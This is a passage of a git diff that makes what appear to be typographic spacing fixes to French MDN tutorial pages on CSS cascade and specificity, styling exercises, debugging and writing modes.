des propriétés et valeurs. Les valeurs définies initialement sont appliquées à tous les titres, puis les valeurs plus spécifiques sont appliquées seulement aux titres avec l'attribut classe. +Ce comportement permet d'éviter la répétition dans votre CSS. Une pratique courante consiste à définir des styles génériques pour les éléments de base, puis à créer des classes pour les cas particuiers. Par exemple, dans la feuille de style ci-dessous, nous avons défini des styles génériques pour les titres de niveau 2, puis créé des classes qui ne modifient que certaines des propriétés et valeurs. Les valeurs définies initialement sont appliquées à tous les titres, puis les valeurs plus spécifiques sont appliquées seulement aux titres avec l'attribut classe. {{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}} -Voyons maintenant comment le navigateur calcule la spécificité. Nous savons déjà qu'un sélecteur d'élément a une faible spécificité et peut être écrasé par une classe. Essentiellement, une valeur en points est attribuée à différents types de sélecteurs, et leur addition donne le poids de ce sélecteur particulier, qui peut ensuite être évalué par rapport à d'autres correspondances potentielles. +Voyons maintenant comment le navigateur calcule la spécificité. Nous savons déjà qu'un sélecteur d'élément a une faible spécificité et peut être écrasé par une classe. Essentiellement, une valeur en points est attribuée à différents types de sélecteurs, et leur addition donne le poids de ce sélecteur particulier, qui peut ensuite être évalué par rapport à d'autres correspondances potentielles. Le score de spécificité d'un sélecteur est codé par quatre valeurs (ou composants) différentes, qui peuvent être considérées comme des milliers, des centaines, des dizaines et des unités — quatre chiffres simples dans quatre colonnes : -1. **Milliers** : ajouter 1 dans cette colonne si la déclaration apparaît dans un {{htmlattrxref("style")}} , (style inline). De telles déclarations n'ont pas de sélecteurs, leur spécificité est toujours simplement 1000. -2. **Centaines** : ajouter 1 dans cette colonne pour chaque sélecteur d'ID contenu à l'intérieur du sélecteur global. -3. **Dizaines** : ajouter 1 dans cette colonne pour chaque sélecteur de classe, d'attribut ou de pseudo-classe contenu à l'intérieur du sélecteur global. -4. **Unités** : ajouter 1 dans cette colonne pour chaque sélecteur d'élément ou pseudo-élément contenu à l'intérieur du sélecteur global. +1. **Milliers** : ajouter 1 dans cette colonne si la déclaration apparaît dans un {{htmlattrxref("style")}} , (style inline). De telles déclarations n'ont pas de sélecteurs, leur spécificité est toujours simplement 1000. +2. **Centaines** : ajouter 1 dans cette colonne pour chaque sélecteur d'ID contenu à l'intérieur du sélecteur global. +3. **Dizaines** : ajouter 1 dans cette colonne pour chaque sélecteur de classe, d'attribut ou de pseudo-classe contenu à l'intérieur du sélecteur global. +4. **Unités** : ajouter 1 dans cette colonne pour chaque sélecteur d'élément ou pseudo-élément contenu à l'intérieur du sélecteur global. -> **Note :** Le sélecteur universel (`*`), les combinateurs (`+`, `>`, `~`, ' '), et la pseudo-class de négation (`:not`) n'affectent en rien la spécificité. +> **Note :** Le sélecteur universel (`*`), les combinateurs (`+`, `>`, `~`, ' '), et la pseudo-class de négation (`:not`) n'affectent en rien la spécificité. -Le tableau suivant montre quelques exemples isolés pour vous mettre dans l'ambiance. Assurez-vous de comprendre dans chaque cas la spécificité annoncée. Nous n'avons pas encore couvert les sélecteurs en détail, mais vous pouvez trouver les informations à propos de chaque sélecteur sur la [référence MDN des sélecteurs](/fr/docs/Web/CSS/CSS_Selectors). +Le tableau suivant montre quelques exemples isolés pour vous mettre dans l'ambiance. Assurez-vous de comprendre dans chaque cas la spécificité annoncée. Nous n'avons pas encore couvert les sélecteurs en détail, mais vous pouvez trouver les informations à propos de chaque sélecteur sur la [référence MDN des sélecteurs](/fr/docs/Web/CSS/CSS_Selectors). | Sélecteur | Milliers | Centaines | Dizaines | Unités | Spécificité | | ------------------------------------------------------------------------------------------------------- | -------- | --------- | -------- | ------ | ----------- | @@ -191,7 +191,7 @@ Le tableau suivant montre quelques exemples isolés pour vous mettre dans l'ambi | `h1 + p::first-letter` | 0 | 0 | 0 | 3 | 0003 | | `li > a[href*="fr"] > .inline-warning` | 0 | 0 | 2 | 2 | 0022 | | `#identifiant` | 0 | 1 | 0 | 0 | 0100 | -| pas de sélecteurs, la règle est déclarée dans l'attribut {{htmlattrxref("style")}} d'un élément | 1 | 0 | 0 | 0 | 1000 | +| pas de sélecteurs, la règle est déclarée dans l'attribut {{htmlattrxref("style")}} d'un élément | 1 | 0 | 0 | 0 | 1000 | Avant de continuer, regardons un exemple en action. @@ -199,38 +199,38 @@ Avant de continuer, regardons un exemple en action. Alors qu'est-ce qui se passe ici ? Tout d'abord, nous ne sommes intéressés que par les sept premières règles de cet exemple, et comme vous le remarquerez, nous avons inclus leurs valeurs de spécificité dans un commentaire avant chacune. -- Les deux premiers sélecteurs se disputent le style de la couleur d'arrière-plan du lien — le deux gagne et rend la couleur d'arrière-plan bleue car il a un sélecteur d'ID supplémentaire : sa spécificité est de 201 contre 101 pour le sélecteur un. -- Les sélecteurs trois et quatre se disputent le style de la couleur du texte du lien — le quatre gagne et rend le texte blanc car bien qu'il ait un sélecteur d'élément en moins, le sélecteur manquant est remplacé par un sélecteur de classe, qui vaut dix au lieu de un. La spécificité gagnante est donc de 113 contre 104. -- Les sélecteurs cinq, six et sept se disputent le style de la bordure du lien en survol. Le six perd clairement devant le cinq avec une spécificité de 23 contre 24 — il a un sélecteur d'éléments en moins dans la chaîne. Le sept, cependant, bat à la fois cinq et six — il a le même nombre de sous-sélecteurs dans la chaîne que cinq, mais un sélectecur d'élément a été échangé contre un sélecteur de classe. La spécificité gagnante est donc de 33 contre 23 et 24. +- Les deux premiers sélecteurs se disputent le style de la couleur d'arrière-plan du lien — le deux gagne et rend la couleur d'arrière-plan bleue car il a un sélecteur d'ID supplémentaire : sa spécificité est de 201 contre 101 pour le sélecteur un. +- Les sélecteurs trois et quatre se disputent le style de la couleur du texte du lien — le quatre gagne et rend le texte blanc car bien qu'il ait un sélecteur d'élément en moins, le sélecteur manquant est remplacé par un sélecteur de classe, qui vaut dix au lieu de un. La spécificité gagnante est donc de 113 contre 104. +- Les sélecteurs cinq, six et sept se disputent le style de la bordure du lien en survol. Le six perd clairement devant le cinq avec une spécificité de 23 contre 24 — il a un sélecteur d'éléments en moins dans la chaîne. Le sept, cependant, bat à la fois cinq et six — il a le même nombre de sous-sélecteurs dans la chaîne que cinq, mais un sélectecur d'élément a été échangé contre un sélecteur de classe. La spécificité gagnante est donc de 33 contre 23 et 24. -> **Note :** Cet exemple est simplificateur. En fait, chaque type de sélecteur voit sa spécificité comptée à un niveau qui lui est propre, qui ne peut pas être dépassé par des sélecteurs d'un type avec une spécificité moindre. Par exemple, un *million* de sélecteurs de **class** combinés ne prendront jamais le dessus sur *un* sélecteur d'**id**. +> **Note :** Cet exemple est simplificateur. En fait, chaque type de sélecteur voit sa spécificité comptée à un niveau qui lui est propre, qui ne peut pas être dépassé par des sélecteurs d'un type avec une spécificité moindre. Par exemple, un *million* de sélecteurs de **class** combinés ne prendront jamais le dessus sur *un* sélecteur d'**id**. > > Une manière plus précise d'évaluer la spécificité serait de noter individuellement les niveaux de spécificité en commençant par le plus élevé et en passant au plus bas si nécessaire. Ce n'est que lorsqu'il existe un lien entre les scores des sélecteurs au sein d'un niveau de spécificité que vous devez évaluer le niveau suivant ; sinon, vous pouvez ignorer les sélecteurs de niveau de spécificité inférieur car ils ne peuvent jamais écraser les niveaux de spécificité supérieurs. ### !important -Vous pouvez annuler tous les calculs ci-dessus à l'aide de la valeur CSS spéciale `!important` mais vous devez être très prudent avec son utilisation. Ce mot-clé est utilisé pour donner la plus grande spécificité à la propriété à laquelle il s'applique, remplaçant ainsi les règles normales de la cascade. +Vous pouvez annuler tous les calculs ci-dessus à l'aide de la valeur CSS spéciale `!important` mais vous devez être très prudent avec son utilisation. Ce mot-clé est utilisé pour donner la plus grande spécificité à la propriété à laquelle il s'applique, remplaçant ainsi les règles normales de la cascade. Jetez un œil à cet exemple : nous avons deux paragraphes, dont l'un a un ID. {{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}} -Regardons ça d'un peu plus près pour mieux comprendre — si vous avez du mal à suivre, supprimez telle ou telle déclaration pour voir ce qui se passe. +Regardons ça d'un peu plus près pour mieux comprendre — si vous avez du mal à suivre, supprimez telle ou telle déclaration pour voir ce qui se passe. -1. Vous verrez que les valeurs de couleur et de remplissage de la troisième règle ont été appliquées, mais pas la couleur d'arrière-plan. Pourquoi ? On pourrait penser que les trois déclarations s'appliquent, puisque la règle en question, venant plus tard dans le code source, prend le dessus sur les règles antérieures. -2. Mais rappelez vous, les sélecteurs de classe sont plus spécifiques ! -3. Les deux éléments sont dans la classe `better`, mais le deuxième a aussi l'{{htmlattrxref("id")}} `winning`. Étant donné que les ID ont une spécificité encore plus élevée que les classes (sur une page, pour une ID donnée, il y a un seul élément, alors qu'on peut trouver de nombreux éléments dans la même classe — les sélecteurs d'ID sont donc très spécifiques dans ce qu'ils ciblent), le deuxième élément aura une couleur d'arrière-plan rouge et une bordure noire de 1 px ; pour le premier élément, la couleur d'arrière-plan sera grise, sans bordure, comme spécifié par la classe. -4. Le deuxième élément a un arrière-plan rouge, mais pas de bordure. Pourquoi ? En raison de la déclaration `!important` dans la deuxième règle — écrit après `border: none`, ce mot-clé signifie que cette déclaration l'emporte sur le `border` définie dans la règle précédente, même si l'ID a une spécificité plus élevée. +1. Vous verrez que les valeurs de couleur et de remplissage de la troisième règle ont été appliquées, mais pas la couleur d'arrière-plan. Pourquoi ? On pourrait penser que les trois déclarations s'appliquent, puisque la règle en question, venant plus tard dans le code source, prend le dessus sur les règles antérieures. +2. Mais rappelez vous, les sélecteurs de classe sont plus spécifiques ! +3. Les deux éléments sont dans la classe `better`, mais le deuxième a aussi l'{{htmlattrxref("id")}} `winning`. Étant donné que les ID ont une spécificité encore plus élevée que les classes (sur une page, pour une ID donnée, il y a un seul élément, alors qu'on peut trouver de nombreux éléments dans la même classe — les sélecteurs d'ID sont donc très spécifiques dans ce qu'ils ciblent), le deuxième élément aura une couleur d'arrière-plan rouge et une bordure noire de 1 px ; pour le premier élément, la couleur d'arrière-plan sera grise, sans bordure, comme spécifié par la classe. +4. Le deuxième élément a un arrière-plan rouge, mais pas de bordure. Pourquoi ? En raison de la déclaration `!important` dans la deuxième règle — écrit après `border: none`, ce mot-clé signifie que cette déclaration l'emporte sur le `border` définie dans la règle précédente, même si l'ID a une spécificité plus élevée. -> **Note :** La seule façon de dépasser cette déclaration `!important` serait d'ajouter un `!important` dans une déclaration de même *spécificité* apparaissant plus bas dans l'ordre du source, ou avec une spécificité plus grande. +> **Note :** La seule façon de dépasser cette déclaration `!important` serait d'ajouter un `!important` dans une déclaration de même *spécificité* apparaissant plus bas dans l'ordre du source, ou avec une spécificité plus grande. -Il est utile de connaître `!important` , ne serait-ce que pour le reconnaître dans le code des autres. **Cependant, nous vous recommandons fortement de ne jamais l'utiliser, sauf en dernier recours.** `!important` modifie le fonctionnement normal de la cascade, de sorte qu'il peut être très difficile de résoudre les problèmes de débogage CSS, en particulier dans une grande feuille de style. +Il est utile de connaître `!important`, ne serait-ce que pour le reconnaître dans le code des autres. **Cependant, nous vous recommandons fortement de ne jamais l'utiliser, sauf en dernier recours.** `!important` modifie le fonctionnement normal de la cascade, de sorte qu'il peut être très difficile de résoudre les problèmes de débogage CSS, en particulier dans une grande feuille de style. -Lorsque vous travaillez sur un CMS où vous ne pouvez pas modifier les modules CSS de base et que vous souhaitez malgré tout remplacer un style, vous serez peut être amené à utiliser `!important`. Mais vraiment, si vous pouvez l'éviter, ne l'utilisez pas. +Lorsque vous travaillez sur un CMS où vous ne pouvez pas modifier les modules CSS de base et que vous souhaitez malgré tout remplacer un style, vous serez peut être amené à utiliser `!important`. Mais vraiment, si vous pouvez l'éviter, ne l'utilisez pas. ## Où sont écrites les règles CSS -Enfin, il est également utile de noter que l'importance d'une déclaration CSS dépend de la feuille de style dans laquelle elle est spécifiée — il est possible pour les utilisateurs de définir des feuilles de style personnalisées pour remplacer les styles du développeur, par exemple si un utilisateur est malvoyant, il peut vouloir doubler la taille de la police sur toutes les pages web visitées afin de faciliter la lecture. +Enfin, il est également utile de noter que l'importance d'une déclaration CSS dépend de la feuille de style dans laquelle elle est spécifiée — il est possible pour les utilisateurs de définir des feuilles de style personnalisées pour remplacer les styles du développeur, par exemple si un utilisateur est malvoyant, il peut vouloir doubler la taille de la police sur toutes les pages web visitées afin de faciliter la lecture. ## En résumé @@ -239,24 +239,24 @@ Les déclarations en conflit seront appliquées dans l'ordre suivant, les décla 1. Déclarations dans les feuilles de style de l'agent utilisateur (par exemple, les styles par défaut du navigateur, utilisés lorsqu'aucun autre style n'est défini). 2. Déclarations normales dans les feuilles de style utilisateur (styles personnalisés définis par un utilisateur). 3. Déclarations normales dans les feuilles de style d'auteur (ce sont les styles définis par nous, les développeurs web). -4. Déclarations `!important` dans les feuilles de style d'auteur. -5. Déclarations `!important` dans les feuilles de style utilisateur. +4. Déclarations `!important` dans les feuilles de style d'auteur. +5. Déclarations `!important` dans les feuilles de style utilisateur. -Il est logique que les feuilles de style des développeurs web remplacent les feuilles de style utilisateur, de sorte que la conception peut être conservée comme prévu, mais parfois, les utilisateurs ont de bonnes raisons de remplacer les styles des développeur web, comme mentionné ci-dessus — cela peut être réalisé en utilisant `!important` dans leurs règles. +Il est logique que les feuilles de style des développeurs web remplacent les feuilles de style utilisateur, de sorte que la conception peut être conservée comme prévu, mais parfois, les utilisateurs ont de bonnes raisons de remplacer les styles des développeur web, comme mentionné ci-dessus — cela peut être réalisé en utilisant `!important` dans leurs règles. -## Activité : jouer dans la cascade +## Activité : jouer dans la cascade -Dans cette activité, nous vous engageons à tenter l'expérience suivante : écrire une règle redéfinissant les couleurs de police et de fond pour les liens par défaut. La contrainte est de réinitialiser la couleur d'arrière-plan en blanc sans utiliser de valeur `<color>`. Vous pouvez par contre utiliser l'une des valeurs spéciales que nous avons examinées dans la section {{anch("Contrôler_lhéritage")}} dans une nouvelle règle. +Dans cette activité, nous vous engageons à tenter l'expérience suivante : écrire une règle redéfinissant les couleurs de police et de fond pour les liens par défaut. La contrainte est de réinitialiser la couleur d'arrière-plan en blanc sans utiliser de valeur `<color>`. Vous pouvez par contre utiliser l'une des valeurs spéciales que nous avons examinées dans la section {{anch("Contrôler_lhéritage")}} dans une nouvelle règle. -Si vous faites une erreur, vous pouvez toujours remettre à zéro l'exemple live à l'aide du bouton <kbd>Reset</kbd>. Si vous êtes vraiment coincé, [jetez un coup d'œil à la solution ici](https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-cascade). +Si vous faites une erreur, vous pouvez toujours remettre à zéro l'exemple live à l'aide du bouton <kbd>Reset</kbd>. Si vous êtes vraiment coincé, [jetez un coup d'œil à la solution ici](https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-cascade). {{EmbedGHLiveSample("css-examples/learn/cascade/task.html", '100%', 700)}} ## À suivre -Si vous avez compris cet article, alors, bravo — vous commencez à appréhender les mécanismes fondamentaux de CSS. L'étape suivante est une étude détaillée des sélecteurs. +Si vous avez compris cet article, alors, bravo — vous commencez à appréhender les mécanismes fondamentaux de CSS. L'étape suivante est une étude détaillée des sélecteurs. -Si la cascade, la spécificité et l'héritage gardent encore de leur mystère, pas de panique ! C'est vraiment le point le plus compliqué qu'on ait abordé depuis le début de ce cours, et même les web developers professionnels s'y cassent parfois les dents. Notre avis : poursuivez le cours et revenez régulièrement lire cet article, continuez à y réfléchir. +Si la cascade, la spécificité et l'héritage gardent encore de leur mystère, pas de panique ! C'est vraiment le point le plus compliqué qu'on ait abordé depuis le début de ce cours, et même les web developers professionnels s'y cassent parfois les dents. Notre avis : poursuivez le cours et revenez régulièrement lire cet article, continuez à y réfléchir. En particulier quand vous rencontrez des comportements étranges où vos règles de style ne s'appliquent pas, revenez ici. Ce pourrait être un problème de spécificité. diff --git a/files/fr/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.md b/files/fr/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.md index 8af917335c..3b7ac09892 100644 --- a/files/fr/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.md +++ b/files/fr/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.md @@ -31,7 +31,7 @@ Si vous voulez faire bonne impression, écrire une lettre sur un beau papier à </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Tester votre compréhension du modèle de boîte CSS et toutes les fonctionnalités associées comme l'implémentation d'arrière‑plans. @@ -42,21 +42,21 @@ Si vous voulez faire bonne impression, écrire une lettre sur un beau papier à ## Départ -Pour débuter cet exercice, vous devez : +Pour débuter cet exercice, vous devez : -- faire une copie locale du [HTML](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/letterheaded-paper-start/index.html) et de la [CSS](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/letterheaded-paper-start/style.css) — enregistrez‑les sous les noms `index.html` et `style.css` dans un nouveau répertoire. -- enregistrer des copies locales des images d'[en‑tête](https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/top-image.png), [pied de page](https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/bottom-image.png) et [logo](https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/logo.png) dans le même répertoire que les fichiers de code. +- faire une copie locale du [HTML](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/letterheaded-paper-start/index.html) et de la [CSS](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/letterheaded-paper-start/style.css) — enregistrez‑les sous les noms `index.html` et `style.css` dans un nouveau répertoire. +- enregistrer des copies locales des images d'[en‑tête](https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/top-image.png), [pied de page](https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/bottom-image.png) et [logo](https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/logo.png) dans le même répertoire que les fichiers de code. -> **Note :** Autrement, vous pouvez utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire cet exercice. Collez le HTML et complétez la CSS dans un des éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas d'un panneau séparé pour la CSS, vous pouvez le mettre dans un élément `<style>` dans l'élément `head` du document. +> **Note :** Autrement, vous pouvez utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire cet exercice. Collez le HTML et complétez la CSS dans un des éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas d'un panneau séparé pour la CSS, vous pouvez le mettre dans un élément `<style>` dans l'élément `head` du document. ## Résumé du projet -Vous avez les fichiers nécessaires à la création d'un modèle de papier à en-tête. Rassemblez les dossiers. Il faut : +Vous avez les fichiers nécessaires à la création d'un modèle de papier à en-tête. Rassemblez les dossiers. Il faut : ### La lettre - appliquer la CSS au HTML, -- ajouter à la lettre une déclaration `background` qui : +- ajouter à la lettre une déclaration `background` qui : - place l'image haute en en‑tête de lettre - place l'image basse en pied de lettre @@ -79,7 +79,7 @@ Vous avez les fichiers nécessaires à la création d'un modèle de papier à en ## Exemple -Voici une capture d'écran affichant un exemple de ce à quoi le dessin final ressemblera : +Voici une capture d'écran affichant un exemple de ce à quoi le dessin final ressemblera :  @@ -87,7 +87,7 @@ Voici une capture d'écran affichant un exemple de ce à quoi le dessin final re ## Évaluation -Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur [le fil de discussion à propos de cet exercice](https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682) ou par l'intermédiaire du canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites l'exercice d'abord, il n'y rien à gagner en trichant ! +Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur [le fil de discussion à propos de cet exercice](https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682) ou par l'intermédiaire du canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites l'exercice d'abord, il n'y rien à gagner en trichant ! {{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}} @@ -95,7 +95,7 @@ Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvo ## Dans ce module -- [Le modèle de boîte : récapitulatif](/fr/Apprendre/CSS/styliser_boites/Box_model_recap) +- [Le modèle de boîte : récapitulatif](/fr/Apprendre/CSS/styliser_boites/Box_model_recap) - [Arrière-plans](/fr/Apprendre/CSS/styliser_boites/Backgrounds) - [Encadrements](/fr/docs/Apprendre/CSS/styliser_boites/Borders) - [Mise en page des tableaux](/fr/Apprendre/CSS/styliser_boites/Styling_tables) diff --git a/files/fr/learn/css/building_blocks/debugging_css/index.md b/files/fr/learn/css/building_blocks/debugging_css/index.md index 0ce7d1dc55..33d31ff5dc 100644 --- a/files/fr/learn/css/building_blocks/debugging_css/index.md +++ b/files/fr/learn/css/building_blocks/debugging_css/index.md @@ -128,7 +128,7 @@ Above that in the stylesheet however is a rule with a `.special` selector: } ``` -As you will recall from the lesson on [cascade and inheritance](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) where we discussed specificity, class selectors are more specific than element selectors, and so this is the value that applies. DevTools can help you find such issues, especially if the information is buried somewhere in a huge stylesheet. +As you will recall from the lesson on [cascade and inheritance](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) where we discussed specificity, class selectors are more specific than element selectors, and so this is the value that applies. DevTools can help you find such issues, especially if the information is buried somewhere in a huge stylesheet. **Inspect the `<em>` with the class of `.special` and DevTools will show you that orange is the color that applies, and also shows you the `color` property applied to the em crossed out. You can now see that the class is overriding the element selector.** diff --git a/files/fr/learn/css/building_blocks/fundamental_css_comprehension/index.md b/files/fr/learn/css/building_blocks/fundamental_css_comprehension/index.md index a0a87e37ce..d7cd059601 100644 --- a/files/fr/learn/css/building_blocks/fundamental_css_comprehension/index.md +++ b/files/fr/learn/css/building_blocks/fundamental_css_comprehension/index.md @@ -55,8 +55,8 @@ Construction de base : - Au préalable, créez un nouveau fichier dans le même répertoire que celui des fichiers HTML et image. Nommez‑le avec beaucoup d'imagination quelque chose comme `style.css`. - Liez la CSS à votre fichier HTML par l'intermédiaire d'un élément `<link>`. -- Les deux premières règles du fichier de ressources de la CSS sont pour vous, GRATUITEMENT ! Après vous être réjoui de votre chance, copiez et collez-les au haut de votre nouveau fichier CSS. Utilisez-les comme un test pour vous assurer que la CSS sera correctement appliquée à votre HTML. -- Au-dessus des deux règles, commentez la CSS d'un court texte pour indiquer qu'il s'agit de styles généraux pour l'ensemble de la page. « Styles généraux pour la page » fait l'affaire. Ajoutez également trois autres commentaires au bas du fichier CSS pour indiquer les styles spécifiques à la configuration du conteneur de carte, les styles propres de l'en-tête et du pied de page et les styles dédiés au contenu principal de la carte de visite. A partir de maintenant, les styles ajoutés à la CSS devront être placés à l'endroit approprié. +- Les deux premières règles du fichier de ressources de la CSS sont pour vous, GRATUITEMENT ! Après vous être réjoui de votre chance, copiez et collez-les au haut de votre nouveau fichier CSS. Utilisez-les comme un test pour vous assurer que la CSS sera correctement appliquée à votre HTML. +- Au-dessus des deux règles, commentez la CSS d'un court texte pour indiquer qu'il s'agit de styles généraux pour l'ensemble de la page. « Styles généraux pour la page » fait l'affaire. Ajoutez également trois autres commentaires au bas du fichier CSS pour indiquer les styles spécifiques à la configuration du conteneur de carte, les styles propres de l'en-tête et du pied de page et les styles dédiés au contenu principal de la carte de visite. A partir de maintenant, les styles ajoutés à la CSS devront être placés à l'endroit approprié. Considérations sur les sélecteurs et les jeux de règles founis dans le fichier des ressources CSS : @@ -65,14 +65,14 @@ Considérations sur les sélecteurs et les jeux de règles founis dans le fichie - entre autres choses, le conteneur de carte principale ait une largeur et une hauteur fixes, une couleur de fond unie, un encadrement et un rayon d'encadrement (des coins arrondis !). - l'en‑tête ait un gradient d'arrière‑plan allant du plus soutenu au plus léger, plus des coins arrondis correspondant à ceux du conteneur de la carte principale. - - le pied ait un gradient d'arrière‑plan allant du plus léger au plus soutenu, plus des coins arrondis correspondant à ceux du conteneur de la carte principale. + - le pied ait un gradient d'arrière‑plan allant du plus léger au plus soutenu, plus des coins arrondis correspondant à ceux du conteneur de la carte principale. - l'image soit placée sur la droite de façon à toucher le côté droit du contenu de la carte de visite en lui donnant une hauteur maximale de 100% (une astuce assurant qu'elle aura toujours la même hauteur que son conteneur parent, quelle que soit la hauteur qu'on lui donne). - Attention ! Il y a deux erreurs dans les règles fournies. En utilisant n'importe quelle technique connue, repérez-les et corrigez-les avant de poursuivre. Nouveaux jeux de règles à écrire : -- Écrire un jeu de règles ciblant à la fois l'en-tête et le pied de page de la carte pour leur donner une hauteur totale calculée de 50px ( y compris une hauteur de contenu de 30px et un remplissage de 10px sur tous les côtés). Mais exprimez‑le en `em`. +- Écrire un jeu de règles ciblant à la fois l'en-tête et le pied de page de la carte pour leur donner une hauteur totale calculée de 50px ( y compris une hauteur de contenu de 30px et un remplissage de 10px sur tous les côtés). Mais exprimez‑le en `em`. - La marge par défaut appliquée aux éléments \<h2> et \<p> par le navigateur interfère avec la composition, alors écrivez une règle ciblant tous ces éléments et fixant leur marge à 0. - Pour éviter que l'image ne déborde du contenu principal de la carte de visite (l'élément `<article>`), nous devons lui donner une hauteur spécifique. Réglez la hauteur de `<article>` à 120px, mais exprimez‑la en `em`. Donnez-lui aussi une couleur de fond de noir semi-transparent, ce qui donne une nuance légèrement plus foncée qui permet à la couleur rouge de l'arrière-plan de briller un peu aussi. - Écrivez un jeu de règles qui donne à `<h2>` une taille de police effective de 20px (mais exprimée en `em`) et une hauteur de ligne appropriée pour la placer au centre de la boîte de contenu de l'en-tête. Rappelez-vous que la hauteur de la boîte de contenu doit être de 30px — vous avez là toutes les données dont vous avez besoin pour calculer la hauteur de ligne. @@ -101,7 +101,7 @@ La capture d'écran suivante montre un exemple de ce à quoi devrait ressembler ## Évaluation -Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur [le fil de discussion à propos de cet exercise](https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682) ou par l'intermédiaire du canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites l'exercice d'abors, il n'y rien à gagner en trichant ! +Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur [le fil de discussion à propos de cet exercise](https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682) ou par l'intermédiaire du canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites l'exercice d'abors, il n'y rien à gagner en trichant ! {{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Apprendre/CSS/Introduction_à_CSS")}} diff --git a/files/fr/learn/css/building_blocks/handling_different_text_directions/index.md b/files/fr/learn/css/building_blocks/handling_different_text_directions/index.md index 3be45a5e6a..8cd18fac1f 100644 --- a/files/fr/learn/css/building_blocks/handling_different_text_directions/index.md +++ b/files/fr/learn/css/building_blocks/handling_different_text_directions/index.md @@ -13,7 +13,7 @@ Ces dernières années cependant, le CSS a évolué pour supporter du contenu or <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Notions informatiques de base, <a @@ -30,7 +30,7 @@ Ces dernières années cependant, le CSS a évolué pour supporter du contenu or </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td>Comprendre l'importance des modes d'écriture pour le CSS moderne.</td> </tr> </tbody> @@ -44,23 +44,23 @@ Dans l'exemple ci-dessous nous avons un titre affiché qui utilise `writing-mode {{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}} -Les trois valeurs possibles pour la propriété [`writing-mode`](/fr/docs/Web/CSS/writing-mode) sont : +Les trois valeurs possibles pour la propriété [`writing-mode`](/fr/docs/Web/CSS/writing-mode) sont : -- `horizontal-tb` : Direction de bloc allant du haut vers le bas, les phrases sont écrites horizontalement. -- `vertical-rl` : Direction de bloc allant de droite à gauche, les phrases sont écrites verticalement. -- `vertical-lr` : Direction de bloc allant de gauche à droite, les phrases sont écrites verticalement. +- `horizontal-tb` : Direction de bloc allant du haut vers le bas, les phrases sont écrites horizontalement. +- `vertical-rl` : Direction de bloc allant de droite à gauche, les phrases sont écrites verticalement. +- `vertical-lr` : Direction de bloc allant de gauche à droite, les phrases sont écrites verticalement. La propriété `writing-mode` définit d'abord la direction selon laquelle les éléments de bloc sont affichés sur la page : de haut en bas, de droite à gauche ou de gauche à droite. Elle indique ensuite la direction selon laquelle le texte est écrit au sein des phrases. ## Modes d'écriture et disposition en bloc ou en ligne -Nous avons déjà abordé [la disposition en ligne et en bloc](/fr/docs/Learn/CSS/Building_blocks/The_box_model#block_and_inline_boxes) et le fait que certains éléments s'affichent en bloc et d'autres en ligne. Dans les descriptions précédentes, on voit que le caractère « de bloc » ou « en ligne » est lié au mode d'écriture du document et pas à l'écran, physique. Les blocs sont uniquement affichés de haut en bas sur la page si on utilise un mode d'écriture qui organise le texte horizontalement, comme celui utilisé pour le français. 